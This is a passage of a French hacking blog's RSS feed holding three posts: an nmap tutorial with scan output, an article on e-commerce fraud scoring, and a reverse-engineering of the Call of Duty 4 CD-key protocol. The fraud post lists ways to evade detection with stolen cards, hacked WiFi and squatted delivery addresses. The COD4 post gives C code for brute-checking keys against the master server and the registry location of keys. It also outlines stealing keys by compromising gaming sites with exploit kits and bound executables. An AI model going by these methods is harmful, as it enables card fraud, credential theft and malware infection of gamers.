<p>On peut utiliser un template &laquo;&nbsp;aggressive&nbsp;&raquo; <strong>-T4 pour des ips externes</strong> (<em>sauf si l&#8217;on travaille dans un endroit où l&#8217;on a une connexion pourrie</em>):</p>
<ul>
<li style="list-style-type: disc;">Le timeout d&#8217;un paquet est fixé entre 500ms et 1250ms.</li>
<li style="list-style-type: disc;">Les paquets sont rejoués entre 1 et 6 fois.</li>
</ul>
<p>Et on effectuera plutôt un scan <strong>-T5 sur un réseau local de bonne qualité</strong> ( pas du wifi foireux par exemple ) :</p>
<ul>
<li style="list-style-type: disc;">Le timeout d&#8217;un paquet est fixé entre 50ms et 300ms.</li>
<li style="list-style-type: disc;">Les paquets sont rejoués au maximum 2 fois.</li>
<li style="list-style-type: disc;">On ne passe pas plus de 15 minutes sur un hôte.</li>
</ul>
<p><span style="text-decoration: underline;">Ne pas confondre scan agressif -A et template agressif (-T aggressive ou -T5) :</span></p>
<p>L&#8217;option scan agressif <strong>-A effectue de nombreuses opérations qui peuvent faire perdre du temps</strong>, en plus d&#8217;effectuer une détection d&#8217;OS (-O) et des services (-sV), elle lance un traceroute ainsi que des scripts d&#8217;attaque et des scans de failles (je reviendrai là-dessus plus tard). En plus de faire perdre du temps, ces scripts peuvent avoir des effets non désirés ou être trop intrusifs en fonction du contexte.</p>
<ul>
<li>
<h3><span style="text-decoration: underline;"><strong>Autres options intéressantes</strong></span><strong></strong></h3>
</li>
</ul>
<p>L&#8217;option <strong>&#8211;resume permet de reprendre un scan interrompu</strong> avec CTRL+C si ce dernier a été sauvegardé au format nmap -oN ou greppable -oG (ou encore -oA).</p>
<p>La seule option utile au niveau de l&#8217;IDS evasion est celle qui permet de <strong>définir le port source -g</strong>. On peut l&#8217;utiliser afin de contourner certains firewalls mal configurés, on utilisera le port 20 en scan TCP (FTP actif) ou le port 53 (DNS) lors d&#8217;un scan UDP -sU.</p>
<p>Il est possible d&#8217;effectuer des requêtes <strong>DNS PTR via l&#8217;option -sL</strong>. Cette option permet de faire de la reconnaissance en repérant des hôtes possibles sur une plage d&#8217;adresse ip, sans leur envoyer un seul paquet.</p>
<p>Un détail, si vous avez envie de comprendre pourquoi nmap a déterminé si un port était OPEN/FILTRED/CLOSE/&#8230; , vous pouvez ajouter l&#8217;option <strong>&#8211;reason</strong> .</p>
<ul>
<li>
<h3><span style="text-decoration: underline;"><strong>Les scripts</strong></span><strong></strong></h3>
</li>
</ul>
<p>Attention, les fonctionnalités suivantes sont intéressantes mais reste <strong>peu fiables</strong>. Mieux vaut utiliser des outils spécialisés dans la détection de faille (<a href="http://www.nessus.org/">nessus</a>) ou de bruteforce (<a href="http://freeworld.thc.org/thc-hydra/">hydra</a>) pour effectuer ce genre d&#8217;attaque.</p>
<p>Grâce aux scripts, nmap peut : récupérer plus d&#8217;informations relatives aux ports scannés, effectuer un scan de failles ou encore réaliser des attaques. On peut exécuter les <strong>scripts par défaut en utilisant l&#8217;option -sC</strong> (le scan agressif -A exécute également ces scripts).</p>
<p>Parmi ces attaques on a du bruteforce classique comme telnet, http basic, ftp&#8230; Ils peuvent également vérifier si clefs SSH sont vulnérables (debian-opensll ), lister les users,groups,&#8230; via SMB sur un windows (null sessions) , tenter un transfert de zone&#8230;, bref, plein de choses diverses et variées.</p>
<p>Les scripts sont stockés dans le dossier script du répertoire d&#8217;installation de nmap (/usr/local/share/nmap/script par défaut). Jeter un coup d&#8217;oeil <a href="http://nmap.org/book/nse-usage.html">sur le site</a> pour comprendre comment ça marche.</p>
<p>Voici un petit aperçu :</p>
<pre lang="text">root@hacktop:/usr/local/share/nmap/scripts# nmap --top-ports 50 --script all localhost

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 17:53 CET
Interesting ports on localhost (127.0.0.1):
Not shown: 47 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
|_ banner: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1x0Dx0A
|  ssh-hostkey: 1024 be:ff:7f:5f:af:bb:bb:f8:4a:ed:3d:ca:af:01:d6:9a (DSA)
|_ 2048 d3:7b:77:12:57:11:d3:11:ac:fa:1c:80:a3:6f:44:f1 (RSA)
23/tcp open  telnet
|_ banner: xFFxFDx18xFFxFD xFFxFD#xFFxFD'
|_ telnet-brute: telnet - telnet
80/tcp open  http
|_ html-title: Index of /</pre>
<pre lang="text">root@hacktop:/usr/local/share/nmap/scripts# nmap  --script all 10.0.0.10,13

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 18:09 CET
Interesting ports on 10.0.0.10:
Not shown: 984 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
|_ banner: ncacn_http/1.0
636/tcp  open  ldapssl
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1028/tcp open  unknown
|_ banner: ncacn_http/1.0
1040/tcp open  netsaint
1048/tcp open  unknown
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
MAC Address: 11:22:33:44:55:66 (VMware)

Host script results:
|_ nbstat: NetBIOS name: INDAHAX-DC, NetBIOS user: , NetBIOS MAC: 11:22:33:44:55:66
|  smb-os-discovery: Windows Server 2003 3790
|  LAN Manager: Windows Server 2003 5.2
|  Name: INDAHAXINDAHAX-DC
|_ System time: 2009-03-15 18:09:58 UTC+1
|  smb-security-mode: User-level authentication
|  SMB Security: Challenge/response passwords supported
|_ SMB Security: Message signing required

Interesting ports on 10.0.0.13:
Not shown: 996 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
912/tcp open  unknown
|_ banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonPr...
MAC Address: 11:22:33:44:55:67 (Fake Computer)

Host script results:
|_ sniffer-detect: Likely in promiscuous mode (tests: "111___1_")
|  smb-security-mode: User-level authentication
|  SMB Security: Challenge/response passwords supported
|_ SMB Security: Message signing not supported
|  smb-os-discovery: Windows XP
|  LAN Manager: Windows 2000 LAN Manager
|  Name: WORKGROUPPIERRE-WG
|_ System time: 2009-03-15 18:09:56 UTC+1
|_ nbstat: NetBIOS name: PIERRE-666, NetBIOS user: , NetBIOS MAC: 11:22:33:44:55:67

Nmap done: 2 IP addresses (2 hosts up) scanned in 36.32 seconds</pre>
<p><span style="text-decoration: underline;">Références:</span></p>
<p>[1] <a href="http://nmap.org/man/fr/">man nmap</a></p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/ibcmBcPccUE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/nmap-haxor.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://serphacker.com/nmap-haxor.html</feedburner:origLink></item>
		<item>
		<title>Détection de la fraude: les critères du scoring</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/JSAfx6nEEew/detection-de-la-fraude-les-criteres-du-scoring.html</link>
		<comments>http://serphacker.com/detection-de-la-fraude-les-criteres-du-scoring.html#comments</comments>
		<pubDate>Sat, 03 Jan 2009 20:13:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=16</guid>
		<description><![CDATA[Cet article traite des techniques de détection de la fraude en ligne effectuées par des services comme FIA-NET ou minFraud. Un jour j&#8217;ai fait un achat sur le net, j&#8217;avais acheté pour environ 800€ de matos informatique, commandé de mon &#8230; <a href="http://serphacker.com/detection-de-la-fraude-les-criteres-du-scoring.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Cet article traite des techniques de détection de la fraude en ligne effectuées par des services comme FIA-NET ou minFraud.</p>
<p><span id="more-16"></span><br />
Un jour j&#8217;ai fait un achat sur le net, j&#8217;avais acheté pour environ 800€ de matos informatique, commandé de mon domicile avec adresse de livraison à mon domicile et paiement avec une carte de crédit à mon nom&#8230; Pourtant j&#8217;ai eu droit à un contrôle FIANET ! Ces contrôles vous obligent à envoyer photocopie de pièce d&#8217;identité, RIB et d&#8217;autres merdes. Ils ne sont pourtant pas effectués sur des gens au hasard ils interviennent en fonction du &laquo;&nbsp;scoring&nbsp;&raquo; que FIANET vous a attribué.</p>
<p>En réalité, la raison de mon contrôle FIANET a probablement été due à mon adresse @hotmail.it car elle comporte 2 gros points négatifs: tout d&#8217;abord <strong>hotmail </strong>est une adresse de type gratuit très mal vue, ensuite une extension <strong>.it</strong> alors que je commande en France parait également suspect !<br />
A ça on ajoute un montant de <strong>800 €</strong> qui ne fait qu&#8217;empirer le scoring de mon évaluation :(</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Les critères du scoring</strong></span></li>
</ul>
<p>Voici les différents critères qui vont définir le scoring, il ne représente en rien une liste exhaustive des critères de FIANET mais proviennent des recherches que j&#8217;ai pu effectuer sur les forums de e-commerce et les logiciels de détection de fraude. Certains de ces contrôles peuvent être effectués automatiquement tandis que d&#8217;autres auront besoin d&#8217;être faits manuellement.</p>
<ul>
<li>Pays de l&#8217; adresse IP de la commande différent de celui de l&#8217;adresse de livraison: <strong>très suspect, contrôle systématique</strong>.</li>
<li>Pays de l&#8217; adresse IP de la commande différent du pays de la carte bancaire: <strong>très suspect, contrôle systèmatique</strong>.<br />
Détecter le pays d&#8217;une carte bancaire est faisable grâce aux premiers chiffres de cette dernière par exemple:</p>
<pre lang="text">4974;Visa;BNP
4975;Visa;La Bred
4976;Visa;Sofinco
4978;Visa;Caisse d Epargne</pre>
<p>Une bonne liste est disponible <a href="http://www.oscommerce-fr.info/forum/index.php?showtopic=52548&amp;view=findpost&amp;p=286755">ici </a>.</li>
<li>Adresse email de type gratuit (@hotmail,@yopmail,@yahoo,&#8230;).</li>
<li>TLD du domaine de l&#8217;email représentant un pays différent de l&#8217;adresse de livraison.</li>
<li>Adresse de livraison absente dans les pages blanches.</li>
<li>Numéro de téléphone portable au lieu de fixe.</li>
<li>Numéro de téléphone ne correspond pas avec le numéro des pages blanches: suspect.</li>
<li>Présence de header proxy: <strong>très suspect</strong>.</li>
<li>Utilisation d&#8217;une ip, adresse email, adresse, nom ou password (dans la mesure du possible ), carte bancaire répertoriée: <strong>contrôle lourd, proposer un autre mode de paiement</strong>.<br />
En effet FIANET sauvegarde tous paramètres correspondants aux fraudes ayant déjà eu lieu.</li>
<li>Utilisation d&#8217;un proxy public, d&#8217;un noeud tor: <strong>très négatif, contrôle systématique</strong>.</li>
<li>Plus le montant de la commande est élevé plus le risque de contrôle est grand.</li>
<li>IP Geolocalisation: Plus la distance entre l&#8217;adresse IP du client et l&#8217;adresse de livraison est grande plus le risque de contrôle est grand.</li>
<li>Livraison dans les boites postales: suspect.</li>
<li>Contrôle humain: Information Nom/Prénom/Adresse suspect et incohérent.</li>
<li>Contrôle humain: Achat de produit compact, cher et en plusieurs quantités ( genre plusieurs ipod ou plusieurs laptop ).</li>
</ul>
<ul>
<li><span style="text-decoration: underline;"><strong>Un système infaillible ?</strong></span></li>
</ul>
<p>Malgré toutes ces protections, ce système est loin d&#8217;être infaillible le cybercriminel pourra toujours passer entre les mailles du filet, par exemple:</p>
<p>_Une commande d&#8217;un montant maximum de 200€ (après ça dépend du type du magasin ).<br />
_Utiliser une carte bancaire française: facile.<br />
_Avoir une ip française, utilisation d&#8217;un proxy privé opaque++ sans header: s&#8217;achète facilement avec des CC volés car pas cher, mais complique déjà la tache du hacker.<br />
OU<br />
_Une ip dans la ville de livraison (hacking WIFI / point d&#8217;accès public): Assez facile mais chiant.<br />
_Une adresse de livraison: Squat de hall, utilisation de passe PTT, certains facteurs habitués déposent les colis dans les cages d&#8217;escalier sur les boites au lettre, ou alors plus difficile, empreint d&#8217;appartement.<br />
_Avoir une adresse et un numéro de téléphone dans les pages blanches complique la tâche.</p>
<p>Ces moyens sont à la disposition de n&#8217;importe quel individu motivé&#8230;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Des statistiques</strong></span></li>
</ul>
<p>Ici je parle de statistiques correspondants à la fraude effective ( c&#8217;est-à-dire que les tentatives de fraudes détectées qui ont échouées ne sont pas prises en compte ).</p>
<p>Selon <a href="http://www.banque-france.fr/observatoire/home.htm"> le rapport annuel </a> de l&#8217;observatoire de la sécurité des cartes de paiement, le montant total des fraudes s&#8217;élève à <strong>26.4 millions d&#8217;euros</strong> en 2007 ce qui représente <strong>0.28 %</strong> du montant total des transactions ayant eu lieu sur internet. Ces statistiques sont basées sur l&#8217;utilisation des cartes bancaires françaises avec des ecommerces français.</p>
<p>Selon le livre blanc de <a href="http://www.fia-net.com/__docs/livre_blanc_juin-2008.pdf">FIA-NET</a> cela représente <strong>2.7 millions d&#8217;euros</strong> soit <strong>0.16%</strong> du montant total des transactions. Ces statistiques sont différentes car elles reposent sur un échantillon de 900 commerçants ( ce qui explique le montant plus faible ) possédant tous le système d&#8217;antifraude de FIA-NET (ce qui explique pourquoi le pourcentage est plus faible).</p>
<p>Je n&#8217;ai pas réussi à récupérer les statistiques du FEDAV, je sais qu&#8217;elle tourne aux alentours de 0.12 % mais je ne sais pas trop sur quoi elles reposent.</p>
<p>26.4 millions d&#8217;euros / an ça fait quand même beaucoup d&#8217;argent (même si le taux de fraude reste faible), je me demande à qui profite cet argent ? Groupe de cybercriminel roumain implanté en France ? Hackers blackhat indépendants ? Ou simple client malveillant utilisant sa propre carte bleu et réfutant le paiement ? Mystère, pas de statistique là-dessus.</p>
<p>Plus tard je parlerai peut-être de l&#8217;origine de ces cartes bancaires volées.</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/JSAfx6nEEew" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/detection-de-la-fraude-les-criteres-du-scoring.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://serphacker.com/detection-de-la-fraude-les-criteres-du-scoring.html</feedburner:origLink></item>
		<item>
		<title>Le protocole COD4 et les clefs CD</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/gH1XEHHfPHA/le-protocole-cod4-et-les-clefs-cd.html</link>
		<comments>http://serphacker.com/le-protocole-cod4-et-les-clefs-cd.html#comments</comments>
		<pubDate>Fri, 02 Jan 2009 00:57:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=7</guid>
		<description><![CDATA[Lors de mon précédent post j&#8217;avais expliqué comment était calculé le pb_guid à partir de la clef CD. Cela m&#8217;a donné envie d&#8217;examiner un peu plus en profondeur le protocole COD4 afin de voir de quelle façon sont vérifiées les &#8230; <a href="http://serphacker.com/le-protocole-cod4-et-les-clefs-cd.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2009/01/cb160.jpg"><img class="alignleft size-full wp-image-660" title="cb160" src="http://serphacker.com/wp-content/uploads/2009/01/cb160.jpg" alt="" width="160" height="120" /></a></p>
<p>Lors de mon précédent <a href="/le-protocole-cod4-et-les-clefs-cd.html">post</a> j&#8217;avais expliqué comment était calculé le pb_guid à partir de la clef CD. Cela m&#8217;a donné envie d&#8217;examiner un peu plus en profondeur le protocole COD4 afin de voir de quelle façon sont vérifiées les clefs CD. Dans cet article je ferai un point sur :</p>
<p>1) Le protocole de validation de clef COD4<br />
2) S&#8217;il est possible de générer une clef valide à partir d&#8217;un keygen<br />
3) Les trojans key stealers et le vol de clef CD<br />
<span style="text-decoration: line-through;">4) Comment être TOP EU sur <a href="http://clanbase.ggl.com/rating.php?lid=5711">clanbase</a> </span></p>
<p><span id="more-8"></span></p>
<ul>
<li><span style="text-decoration: underline;"><strong>Le protocole </strong></span></li>
</ul>
<p>COD4 utilise en partie le protocole q3engine dont les sources sont disponibles <a href="http://svn.icculus.org/quake3/trunk/code/server/?pathrev=2">ici</a>. Ce protocole fonctionne avec un serveur principal (Master) qui s&#8217;occupe de recenser les serveurs en ligne et de vérifier la validité des clefs.</p>
<p>Voici un extrait de l&#8217;échange entre le Master et un serveur lors du démarrage de ce dernier :</p>
<pre lang="text">server =&gt; master:20810
heartbeat COD-4.

master:20810 =&gt; server
getchallenge -1523121167

master:20810 =&gt; server
getstatus -1523121167

server =&gt; master:20800
getIpAuthorize 611600408 63.146.124.21 "" 0

server =&gt; master:20810
statusResponse
g_compassShowEnemies?g_gametypewargamenameCall of Duty 4mapnamemp_backlotprotocol6shortversion1.7sv_allowAnonymous?sv_disableClientConsole?sv_floodprotect1sv_hostnameDiggysv_maxclients12sv_maxPing?sv_maxRate25000sv_minPing?sv_privateClients?sv_punkbuster1sv_pure1sv_voice?ui_maxclients32challenge-1523121167pswrd?mod?

client =&gt; server
getinfo xxx

server =&gt; client
infoResponse
challengexxxprotocol6hostnameDiggymapnamemp_backlotsv_maxclients12gametypewarpure1kc1hw2mod?voice?pb1

server =&gt; master
heartbeat flatline.</pre>
<p>Dès que le serveur démarre il envoie un message &laquo;&nbsp;<em>heartbeat</em>&nbsp;&raquo; pour informer le master que le serveur est en ligne. Il continuera d&#8217;envoyer le message &laquo;&nbsp;<em>heartbeat</em>&nbsp;&raquo; toutes les 5 minutes pour montrer sa présence en ligne. Lorsque le serveur s&#8217;arrête il envoie alors un message &laquo;&nbsp;<em>heartbeat flatline</em>&nbsp;&raquo; pour signaler au master son passage hors ligne.</p>
<p>Le master va alors répondre en envoyant le message &laquo;&nbsp;<em>getchallenge</em>&nbsp;&raquo; ainsi que le message &laquo;&nbsp;<em>getstatus</em>&nbsp;&raquo; . Le message getchallenge permet au Master d&#8217;authentifier le serveur de jeu, le master l&#8217;ajoutera à sa liste uniquement si le serveur répond avec le message &laquo;&nbsp;<em>getIpAuthorize</em>&nbsp;&raquo; suivi d&#8217;un numéro de challenge et de l&#8217;ip du Master.</p>
<p>Une fois le serveur de jeu identifié auprès du master, il peut recevoir 2 types de messages :<br />
_Les messages &laquo;&nbsp;connectionless&nbsp;&raquo; qui représente les messages envoyés par des clients ou des browsers de serveur de jeu (gamespy/All Seeing Eye), ces messages sont <em>getstatus</em>, <em>getinfo</em>, <em>getchallenge</em>, <em>connect</em>, <em>ipAuthorize</em>, <em>rcon </em>.<br />
_Les messages en rapport avec les clients connectés (les joueurs , les pgms et les noobs).</p>
<p><span style="text-decoration: underline;">Connexion d&#8217;un client : </span></p>
<pre lang="text">client =&gt; master:20800
getKeyAuthorize 0 ABCD-0123-4567-89AB PB 1c8f2b0836a17b0186c8b207fd688e68

client =&gt; server
getchallenge 0 "1c8f2b0836a17b0186c8b207fd688e68"

server =&gt; master:20800
getIpAuthorize 1204470709 89.3.249.119 "" 0 PB "1c8f2b0836a17b0186c8b207fd688e68"

master:20800 =&gt; server
ipAuthorize 1204470709 accept KEY_IS_GOOD 541288 1c8f2b0836a17b0186c8b207fd688e68

server =&gt; client
challengeResponse 1204470709

client =&gt; server
connect "cg_predictItems1cl_anonymous?cl_punkbuster1cl_voice?cl_wwwDownload1rate25000snaps30namepierzprotocol6challenge1204470709qport-5676"

server =&gt; client
connectResponse</pre>
<p>On arrive à la partie qui nous intéresse : la connexion du client. Avant de se connecter à un serveur, le client envoie sa clef CD ainsi que son PB_GUID au serveur master via le message <em>getKeyAuthorize</em>. Cela permet au master d&#8217;associer l&#8217;adresse ip d&#8217;un client avec une clef CD et un GUID. Le client envoie ensuite au serveur un message <em>getchallenge</em> suivi de son pb_guid . Le serveur va alors demander au master si la clef correspondant à ce guid et cette ip est valide.</p>
<p>Le master va répondre au serveur avec le message &laquo;&nbsp;<em>ipAuthorize</em>&nbsp;&raquo; de différente façon :<br />
-&gt; KEY_IS_GOOD : la clef est valide, le client sera accepté par le serveur.<br />
-&gt; INVALID_CDKEY : la clef est invalide, le client ne pourra pas se connecter au serveur.<br />
-&gt; CLIENT_UNKNOWN_TO_AUTH : le message <em>getKeyAuthorize</em> envoyé par le client n&#8217;a pas été reçu par le serveur ou bien il a été reçu mais à partir d&#8217;une autre ip, le client ne pourra pas se connecter (j&#8217;ai d&#8217;ailleurs remarqué que le message <em>getKeyAuthorize</em> était envoyé 2 fois par le client pour éviter les UDP packet loss).</p>
<p>Sur cod 1 et cod 2 il suffisait d&#8217;éditer le fichier hosts en ajoutant la ligne: &laquo;&nbsp;<em>127.0.0.1 cod2master.activision.com</em>&nbsp;&raquo; pour créer un serveur cracké car le serveur refusait la connexion d&#8217;un client uniquement s&#8217;il recevait le message INVALID_CDKEY, s&#8217;il ne recevait pas de message le client était quand même autorisé à se connecter.</p>
<p>Sur cod4 le serveur attend obligatoirement une réponse au message &laquo;&nbsp;<em>getIpAuthorize</em>&nbsp;&raquo; c&#8217;est pourquoi il faut utiliser le &laquo;&nbsp;<em>no wait patch</em>&nbsp;&raquo; dispo sur <a href="http://m0008.gamecopyworld.com/games/pc_call_of_duty_4.shtml#Call%20of%20Duty%204%20v1.7%20PRIVATE%20WINDOWS%20SERVER%20&amp;%20NO-WAIT%20PATCH%201">gamecopyworld </a>, qui émule les autorisations de clefs CD.</p>
<p>S&#8217;ensuit l&#8217;échange de challenge pour authentifier le client et la confirmation de connexion au serveur avec les messages &laquo;&nbsp;<em>challengeResponse</em>&nbsp;&raquo; , &laquo;&nbsp;<em>connect</em>&nbsp;&raquo; et &laquo;&nbsp;<em>connectResponse</em>&nbsp;&raquo; . Ces messages ne nous intéressent pas vraiment, car on a assez d&#8217;information pour réaliser notre vérificateur de clef CD.</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Générer des clefs CD valides ?</strong></span></li>
</ul>
<p>Pour expérimenter tout çà j&#8217;ai réalisé un petit tool qui test des clefs CD, j&#8217;en ai générées + de 10 millions via l&#8217;algo du keygen razor. Résultat : &laquo;&nbsp;EPIC FAIL&nbsp;&raquo;, aucune n&#8217;était valide ! Donc n&#8217;essayez pas de générer plusieurs clefs avec un keygen dans l&#8217;espoir d&#8217;avoir un jour une clef valide :)</p>
<p>Je ne release pas le tool car il est inefficace et peu causer un DOS s&#8217;il est utilisé en masse.</p>
<p>Cependant voici un extrait du code qui résume bien le principe du programme :</p>
<pre lang="C">//pour chaque clef CD

//on calcule le GUID correspondant
cod4key2guid(formatkey,guid);

//on s'identifie auprès du serveur Master (émulation du client)
sprintf(l_buffer,"ÿÿÿÿgetKeyAuthorize 0 %s PB %s",formatkey,guid);
sendto(listen_s,l_buffer,strlen(l_buffer),0,(struct sockaddr*)&amp;masterAddr,sizeof(masterAddr)).
Sleep(250);

//on simule une connexion de ce même client sur un serveur (émulation du serveur)
sprintf(l_buffer,"ÿÿÿÿgetIpAuthorize %d %s "" 0 PB "%s"",challenge,localIp,guid);
sendto(listen_s,l_buffer,strlen(l_buffer),0,(struct sockaddr*)&amp;masterAddr,sizeof(masterAddr))

//On recoit la réponse
recvfrom(listen_s,l_buffer,BUFFERSIZE,0,(struct sockaddr*)&amp;fromAddr,&amp;fromSize )

if( strstr(l_buffer,"KEY_IS_GOOD") ){
//JACKPOT
}else if( strstr(l_buffer,"INVALID_CDKEY") ){
//</pre>
<ul>
<li><span style="text-decoration: underline;"><strong>D&#8217;autres moyen pour obtenir des clefs cd</strong></span></li>
</ul>
<p>Obtenir une clef CD gratuitement est difficile,mais il reste encore un moyen : le vol. La clef CD cod4 est stocké dans le registre à cette adresse : <em>HKEY_LOCAL_MACHINESOFTWAREActivisionCall of Duty 4 codkey</em> .</p>
<p>Il est facile de la récupérer à partir du moment où on a accès à la machine, de nombreux trojan intègre cette fonctionnalité, c&#8217;est pourquoi certains développeurs ont pris des mesures : c&#8217;est le cas du jeu Battlefield 2 qui à partir du patch 1.03 chiffre la clef CD du registre en fonction du hardware (mais je suppose qu&#8217;avec un peu de reverse engineering ont doit pouvoir récupérer l&#8217;original).</p>
<p>Maintenant le problème est le vecteur d&#8217;infection : <span style="text-decoration: underline;">Comment avoir un accès à l&#8217;ordinateur d&#8217;un joueur de cod4 ?</span></p>
<p>Idée n°1 (La moins efficace) : Installer un serveur cod4 et se démerder pour avoir un maximum de joueurs, à partir de là vous pouvez récupérer les adresses ips des joueurs. L&#8217;inconvénient est que de nos jours exploiter un windows XP à distance de cette façon est difficile; principalement à cause des routeurs/firewall puis à cause des services désactivés par les AV, mais les pcs vulnérables existent toujours.</p>
<p>Idée n°2 (Ultra efficace) : Prendre le contrôle de sites relatifs à ces jeux, typiquement : les communautés de joueurs, les forums, ceux proposant des tournois/ladder ou encore les sites de cheats. Là on sait que les visiteurs ont quasiment tous cod4 installés, donc une fois le site hacké , on peut mettre en place un mpack (exploiter ie est déjà beaucoup plus réaliste qu&#8217;exploiter une faille LSASS ; ) , binder les exécutables proposés par le site ou carrément forcer le téléchargement etc.</p>
<p>Il faut savoir que certain <a href="http://www.agerage.net/">site de cheat</a> vendent des clefs CD, je n&#8217;ai aucune idée de leur origine, mais si elles ne proviennent pas d&#8217;Activision, il est fort probable qu&#8217;elles proviennent des key stealers&#8230;</p>
<p>En parlant de cheat, j&#8217;espère pouvoir vous expliquer prochainement comment sont réalisés les Wallhack/Aimbots et autre merde en tout genre sur cod4.</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/gH1XEHHfPHA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/le-protocole-cod4-et-les-clefs-cd.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		<feedburner:origLink>http://serphacker.com/le-protocole-cod4-et-les-clefs-cd.html</feedburner:origLink></item>
	</channel>
</rss>

